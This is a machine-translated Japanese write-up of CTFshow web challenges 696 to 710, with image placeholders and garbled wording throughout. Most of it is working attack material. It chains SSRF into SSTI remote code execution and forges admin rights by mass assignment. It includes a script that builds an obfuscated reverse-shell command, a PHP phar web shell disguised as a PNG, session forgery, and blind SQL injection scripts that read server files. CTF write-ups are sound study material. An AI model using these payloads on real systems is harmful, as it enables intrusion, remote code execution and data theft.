CTFSHOWコンテストの元のタイトル(web696-web710)

トピックがたくさんあるので、比較的簡潔に書かれているところも多いので、ご主人様にご理解いただければ幸いです。

web696

ソースコードのダウンロードはdjangoフレームワークです。
web1の利用ポイントは明らかであり、ssrfがあり
ここに画像の説明を挿入
、web2のapp.pyにsstiテンプレートインジェクションがある
ここに画像の説明を挿入
ため、私たちの目的はweb1を介してweb2にアクセスし、最終的にsstiを介してrceの目的を達成することです。
web1では、ssrfを使用する場合は、最初にトークンを取得する必要があります。つまり、adminでログインする必要があります。
ここに画像の説明を挿入
したがって、最初に実行する必要があるのは、管理者ユーザーを偽造することです。djangoで管理者を作成した後、データベースはis_superuserによって識別されます。値1は、管理者を表します。
ユーザー登録は、データデータ全体をデータベースに書き込むことです。
ここに画像の説明を挿入
したがって、登録時にis_superuserパラメーターを追加できます。すべての管理ページにアクセスするには、is_staffパラメーターを追加する必要があります。
ここに画像の説明を挿入

最初の一歩:

POST:
http://bd2702c0-2cb5-4a00-8320-206e36106a47.challenge.ctf.show/reg/

{"username":"zzx","password":"abc","is_superuser":1,"is_staff":1}

ここに画像の説明を挿入
登録が成功し、バックグラウンドでログインすると、トークンの値を確認できます。
ここに画像の説明を挿入
web2のcaculatorルートでは、postの値を渡す必要があり、web1のflask_rpc関数は、まずこの目的に役立ちます。
ここに画像の説明を挿入
ここに画像の説明を挿入
アイデアを見てください
。自宅のssrfを介してrpcにアクセスしてから、rpcのssrfを介して別のサーバーのcaculatorルートにアクセスします。
一般的なjsonは次のとおりです。


/home

{"url":"http://127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=xxxx","token":"994f639af3c57121cb756fd0bd126478"}

xxxは、渡したいsstiコンテンツを持つjsonのbase64です。
num1とnum2は、内容が数に制限されているため、役に立ちません。使用できるのは記号のみです。
したがって、json文字列を作成します

{"num1":"1","num2":"1","symbols","{
   
   {x.__init__.__globals__['__builtins__'].eval('__import__(\"os\").popen(\"cat /flag\").read()')}}-"}

最後の1つは、シンボルのフィルタリングをバイパスする
ここに画像の説明を挿入
ことですが、タイトルのペイロードには他の制限がありますが
ここに画像の説明を挿入
、これは小さな問題です。jsonを通過するため、Unicodeエンコーディングでバイパスできます。

{"symbols":"\u007b\u007bx.__init__.__globals__['__builtins__'].eval('__import__(\"os\").popen(\"cat /flag\").read()')\u007d\u007d-","num1":"1","num2":"2"}

この文字列をBase64で前のデータに渡します。
最終的なペイロードとトークンは、自分で変更する必要があります。

/home

{"url":"http://127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=eyJzeW1ib2xzIjoiXHUwMDdiXHUwMDdieC5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10uZXZhbCgnX19pbXBvcnRfXyhcIm9zXCIpLnBvcGVuKFwiY2F0IC9mbGFnXCIpLnJlYWQoKScpXHUwMDdkXHUwMDdkLSIsIm51bTEiOiIxIiwibnVtMiI6IjIifQ==","token":"994f639af3c57121cb756fd0bd126478"}

何人かの学生は港がどのように来たのか尋ねるかもしれません、しかしそれは実際には推測であるか、それは爆破されることができます。
では、sstiペイロードはどのようにして生まれたのですか?詳細については、以前のsstiの記事sstiの高度な記事を読むことができます。

web697

ページに入ると、パラメータNOHOを渡して
ここに画像の説明を挿入
数回試すように求められ、大きすぎるか小さすぎるというプロンプトが表示されます。
コードはわかりませんが、strcmpなどの関数を使用して比較できると推測できます。より大きい場合は正の整数を返し、より小さい場合は負の整数を返し、0を返します。
したがって、コミットの数がコードで比較される数と等しいことがわかります。比較をバイパスします。
配列の使用は簡単に考えられます。配列を渡すと、戻り値はNULLになります。とにかく、いくつかの部分は負の整数ではなく正の整数であり、0に弱く等しくなります。試してみると機能します。
?NOHO[]=
以下の2番目のステップは、パスワードを入力するためのボックスです。数値を送信すると、ページは文字化けした文字を含む特定のクエリステートメント
ここに画像の説明を挿入
を返します。これは、ある種の暗号化によって暗号化されている可能性があります。最も一般的なmd5暗号化である場合は、次のことができます。それをバイパスします。次の文字列があり、md5暗号化後の16進数には独自の単一引用符があります。

ffifdyop
e58
4611686052576742364

数字しか渡せないので、4611686052576742364
ここに画像の説明を挿入

web698

参考記事https://blog.csdn.net/zz_Caleb/article/details/85082561
このsecret_keyの長さは1つずつ試す必要があり、実際の長さは10
語です。
ここに画像の説明を挿入

web699

グループのオーナーに聞いたところ、問題があるのは事実ですが、問題がなければ、以下のスクリプトが不足する可能性があります。
https://tyskill.github.io/posts/i-soon2020/

import requests
# 八进制
n = dict()
n[0] = '${#}'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}${#}${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}${#}))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f = ''

def str_to_oct(cmd):                                #命令转换成八进制字符串
    s = ""
    for t in cmd:
        o = ('%s' % (oct(ord(t))))[2:]
        s+='\\'+o   
    return s

def build(cmd):                                     #八进制字符串转换成字符
    payload = "$0<<<$0\<\<\<\$\\\'"                 #${!#}与$0等效
    s = str_to_oct(cmd).split('\\')
    for _ in s[1:]:
        payload+="\\\\"
        for i in _:
            payload+=n[int(i)]
    return payload+'\\\''

# def get_flag(url,payload):                          #盲注函数
#     try:
#         data = {'cmd':payload}
#         r = requests.post(url,data,timeout=1.5)
#     except:
#         return True
#     return False

# 弹shell
print(build('bash -i >& /dev/tcp/IP/port 0>&1'))

#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
#     for j in a:
#         cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
#         url = "http://ip/"
#         if get_flag(url,build(cmd)):
#             break
#     f = f+j
#     print(f)

web700

https://xz.aliyun.com/t/6911
https://blog.csdn.net/a3320315/article/details/104071188
2つの記事を参照しましたが、再現していません。

web701

参考記事https://gist.github.com/stypr/9219055eaaf39bc1c3cdd694755d9295

1337 === Number(String(Number(1)).concat(3).concat(3).concat(7))

constructor.length.constructor =[Function: Number]
constructor.name.constructor = [Function: String]
constructor.constructor.length = 1
console.dir.name.length => "dir".length = 3
console.context.name.length => "context".length = 7

ペイロード:

constructor.length.constructor(constructor.name.constructor(constructor.constructor.length).concat(console.dir.name.length).concat(console.dir.name.length).concat(console.context.name.length))

web702

www.zipにアクセスして、ソースコードを入手してください。
最初にエクスプロイトポイントを見てみましょう。そのほとんどは、コマンドの実行、ファイルのインクルード、ファイルのアップロード、およびインジェクションにすぎません。
このトピックにはファイルアップロードポイントがありますが、最終的なファイル名のサフィックスは修正されています。したがって、成功を利用することは困難です。
ただし、index.phpにもインクルードがあります。
ここに画像の説明を挿入
最初のインクルードは制御できません。次に検討する必要があるのは、2番目のインクルードが制御可能かどうかです。
ここに画像の説明を挿入
インクルードのコンテンツはデータに関連しています。データがどのように取得されるかを見てみましょう。
ここに画像の説明を挿入
クッキーに関連して、条件に合った写真をアップロードし、クッキーの変化を確認することができます。
正常にアップロードすると、セッションが返さ
ここに画像の説明を挿入
れます。このCookieは2つの部分で構成されています。
ここに画像の説明を挿入
ドットの前には、json文字列のbase64があり、その後に彼の署名が続きます。
次に、返されたCookieのドットの前の部分を復号化すると、次のコンテンツが取得されます。

{"name":"asd_asd","avatar":"8c97baff.png","flash":{"type":"info","message":"Your avatar has been successfully updated!"}}

では、テーマ変数を追加できますか?
ここに別の問題があります。ドットの後の署名は前のjson文字列によって生成されるため、署名を偽造する必要があります。これは実際には非常に困難ですが、幸い、署名を生成する関数に問題があります。
ここに画像の説明を挿入
ここに画像の説明を挿入
つまり、json文字列が72を超えると、無視されます。また、今持っていたjson文字列の長さは121なので、後で何かを追加しても、署名は同じです。
最後は、このインクルードの使用方法です。
cssサフィックスが付いたファイルを含めることはできますが、cssサフィックスが付いたファイルをアップロードすることはできません。
現時点では、pharが適切な選択です。

<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

exp.cssをpharファイルに圧縮し、検証をバイパスするためにpngファイルヘッダーを追加します。
includeの値がinclude( "phar://uploads/xxx.png/exp.css")の場合、exp.cssのコンテンツがgetshellに含まれます。
問題解決の手順:
1。上記で生成されたpharファイルをアップロードします。
2.返されたセッションを復号化します。3。json
文字列を作成します{"name":"asd_asd","avatar":"8c97baff.png","flash":{"type":"info","message":"Your avatar has been successfully updated!"},"theme":"phar://uploads/8c97baff.png/exp"}
。4。ベースエンコーディングにindex.phpでurlsafe_base64_encodeメソッドを使用します。5
。取得したbase64文字列をドットで署名します。6
。?cmd = cat / f*getフラグを渡します。
ここに画像の説明を挿入

web703

これには、ソースコード、抽出コードが含まれています。7j3t
トピックの目的は非常に明確であり、管理者ユーザーを偽造してから、?page=flagにアクセスしてフラグを取得します。
キーページはexport.phpに
ここに画像の説明を挿入
あります。ファイルを作成し、それにいくつかの文字を追加できます。偶然にも、セッションファイルの保存パスは生成したファイルのパスと同じなので、セッションファイルを作成してその中のadminの値を変更できますか?答えはイエスです。
ここに画像の説明を挿入
ただし、問題があります。セッションファイルは通常sess_PHPSESSIDであり、ドットは使用できません。ファイル名はドットで生成されます。ここに画像の説明を挿入
幸いなことに、後で..何も置き換えない置換があり、typeの値は私たちの管理下にある
ため、typeに値を渡すだけで済みます.
phpのデフォルトのセッション逆シリアル化メソッドはphpで、シリアル|化された各文字を分離するため、次のように記述して問題解決手順を構築
できます。1.sess_を使用してログインします。2。メモを追加します。タイトルは|N; admin | b:です。 1; 3. export.php?type =。にアクセスして、セッションファイルを生成し、ダウンロードします。4. CookieのPHPSESSID値を、ダウンロードしたファイルの下線の後ろのコンテンツに変更します。|N;admin|b:1;$_SESSION['admin']=true





ここに画像の説明を挿入

web704


ペイロードは、json文字列でUnicodeエンコーディングを使用してバイパスできます。

?source=1 

{"page":"\u0070hp://filter/read=convert.base64-encode/resource=/\u0066lag"}

web705

参考記事を見てください、難しすぎます。

# coding: utf-8
import binascii
import requests

URL = 'http://c9bcbc2b-3d52-4a55-aa42-695f48805ef6.challenge.ctf.show/vote.php'

l = 0
i = 0
for j in range(16):
    r = requests.post(URL, data={
    
    
        'id': f'abs(case(length(hex((select(flag)from(flag))))&{1 << j})when(0)then(0)else(0x8000000000000000)end)'
    })
    if b'An error occurred' in r.content:
        l |= 1 << j
print('[+] length:', l)

table = {
    
    }
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'

res = binascii.hexlify(b'ctfshow{').decode().upper()
for i in range(len(res), l):
    for x in '0123456789ABCDEF':
        t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
        r = requests.post(URL, data={
    
    
            'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
        })
        if b'An error occurred' in r.content:
            res += x
            break
    print(f'[+] flag ({i}/{l}): {res}')
    i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

web706

機械学習を目にしたときは、手放してください。

web707

ここに画像の説明を挿入
Base64はCookieを復号化し、Cookie内のお金を変更します。
直接購入するとフラグが立てられます。

web708

wphttps://ctftime.org/writeup/17495
スクリプトhttps://github.com/wat3vr/watevrCTF-2019/blob/master/challenges/web/jungle/solve.py
が実行できるかどうかは、運命によって異なります。

web709

最初にindex.phpを読んでから、フラグが配置されているページを取得してから、そのページを読む必要があります。
スクリプトの記述が不十分で、フラグがほとんど見えません。

import requests  
url="http://54f76ee9-05e1-4b90-b002-411ce0cd05a9.challenge.ctf.show/index.php?search="
#读文件 /var/www/html/index.php
# for i in range(1,500):
#     u=url+"extractvalue(0x3c,concat(0x7e,(select substr(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870),{0},20))))".format(i)
#     r=requests.get(u)
#     print(r.text)

# 读文件/var/www/html/ctfshowflagyouneverknow.php
for i in range(1,500):
    u=url+"extractvalue(0x3c,concat(0x7e,(select substr(load_file(0x2f7661722f7777772f68746d6c2f63746673686f77666c6167796f756e657665726b6e6f772e706870),{0},20))))".format(i)
    r=requests.get(u)
    print(r.text)

web710

ハックバーシャトル
ここに画像の説明を挿入
?name={ {config.__class__.__init__.__globals__['os'].popen('cat f*').read()}}

おすすめ

転載: blog.csdn.net/miuzzx/article/details/123064086
おすすめ